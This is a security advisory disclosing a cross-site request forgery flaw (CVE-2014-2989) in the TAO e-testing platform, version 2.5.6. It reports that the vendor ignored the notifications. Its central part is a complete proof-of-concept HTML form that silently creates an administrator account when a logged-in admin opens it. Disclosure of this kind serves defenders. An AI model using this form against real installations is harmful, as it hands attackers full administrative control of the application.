Сross-Site Request Forgery (CSRF) in TAO

2014-05-10T00:00:00
ID SECURITYVULNS:DOC:30714
Type securityvulns
Reporter Securityvulns
Modified 2014-05-10T00:00:00

Description

Advisory ID: HTB23211 Product: TAO Vendor: Open Assessment Technologies S.A. Vulnerable Version(s): 2.5.6 and probably prior Tested Version: 2.5.6 Advisory Publication: April 16, 2014 [without technical details] Vendor Notification: April 16, 2014 Public Disclosure: May 7, 2014 Vulnerability Type: Cross-Site Request Forgery [CWE-352] CVE Reference: CVE-2014-2989 Risk Level: Medium CVSSv2 Base Score: 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P) Solution Status: Not Fixed Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )


Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in TAO, which can be exploited to gain complete administrative control over the vulnerable application.

1) Сross-Site Request Forgery (CSRF) in TAO: CVE-2014-2989

The vulnerability exists due to insufficient verification of the HTTP request origin. A remote attacker can trick a website administrator to open a specially crafted link and create a new account with administrative privileges.

The simple exploit code below creates administrative account with login "immuniweb" and password "immuniweb1":

<form action="http://[host]/tao/Users/add" method="post" name="main"> <input type="hidden" name="user_form_sent" value="1"> <input type="hidden" name="tao.forms.instance" value="1"> <input type="hidden" name="http_2_www_0_w3_0_org_1_2000_1_01_1_rdf-schema_3_label" value="User+5"> <input type="hidden" name="http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userFirstName" value="First Name"> <input type="hidden" name="http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userLastName" value="Last Name"> <input type="hidden" name="http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userMail" value="user@mail.com"> <input type="hidden" name="http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_login" value="immuniweb"> <input type="hidden" name="password1" value="immuniweb1"> <input type="hidden" name="password2" value="immuniweb1"> <input type="hidden" name="http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userDefLg" value="http_2_www_0_tao_0_lu_1_Ontologies_1_TAO_0_rdf_3_Langen-US"> <input type="hidden" name="http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userUILg" value="http_2_www_0_tao_0_lu_1_Ontologies_1_TAO_0_rdf_3_Langen-US"> <input type="hidden" name="http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userRoles_0" value="http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_GenerisRole"> <input type="hidden" name="" value=""> <input type="submit" id="btn"> </form>


Solution:

Vendor ignored: - 4 notifications by email - 4 notifications via contact form

Currently we are not aware of any official solution for this vulnerability.


References:

[1] High-Tech Bridge Advisory HTB23211 - https://www.htbridge.com/advisory/HTB23211 - Сross-Site Request Forgery (CSRF) in TAO. [2] TAO - http://www.taotesting.com/ - TAO is an Open Source e-Testing platform that empowers you to build, deliver, and share innovative and engaging assessments online – in any language or subject matter. [3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures. [4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. [5] ImmuniWeb® - https://portal.htbridge.com/ - is High-Tech Bridge's proprietary web application security assessment solution with SaaS delivery model that combines manual and automated vulnerability testing.


Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.